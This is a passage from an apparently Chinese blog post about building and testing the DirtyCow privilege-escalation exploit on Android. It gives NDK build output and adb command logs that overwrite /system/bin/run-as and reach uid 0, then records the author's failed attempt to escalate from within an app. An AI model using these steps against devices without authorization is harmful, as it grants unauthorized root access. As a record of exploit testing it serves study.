[armeabi] Executable     : dirtycow
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb  : run-as <= run-as.c
[armeabi] Executable     : run-as
[armeabi] Install        : run-as => libs/armeabi/run-as
make[1]: 离开目录“/cygdrive/D/project/Android/android-ndk-r11/up”

后面可以执行makefile里的make push和make root进行测试。

$ make push
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
100 KB/s (13648 bytes in 0.132s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
77 KB/s (9552 bytes in 0.120s)


$ make root
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
137 KB/s (13648 bytes in 0.097s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
90 KB/s (9552 bytes in 0.103s)
./adb shell 'chmod 777 /data/local/tmp/run-as'
./adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
/system/bin/sh: /data/local/tmp/dirtycow: can't execute: Permission denied
./adb shell /system/bin/run-as
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x4fc
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x1
running as uid 2000
uid 0

在Ubuntu14.10下测试,老是报错:

make[1]: /home/joo/Desktop/android-sdk/android-ndk-r10/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc: Command not found

原因是我这个NDK是windows下的版本,在toolchains/arm-linux-androideabi-4.6/prebuilt下没有linux-x86这个目录,懒得折腾了,就这样了。


二、Android下App里面怎么提权

实际应用中我们肯定不是通过adb来对android进行提权,adb实现的是shell权限,在App中应用时用的用户权限,所以对run-as没有执行的权限,这大概就是selinux的机制吧。查看run-as的权限

-rwxr-x--- root     shell        9444 2015-09-17 13:29 run-as

所以归根结底是还是没有对该漏洞完全了解,写不出自己利用的poc。几个文章链接

http://bbs.pediy.com/showthread.php?t=213391&highlight=dirtycow

http://bbs.pediy.com/showthread.php?t=213467&highlight=dirtycow





DirtyCow漏洞分析

阅读数 45

没有更多推荐了,返回首页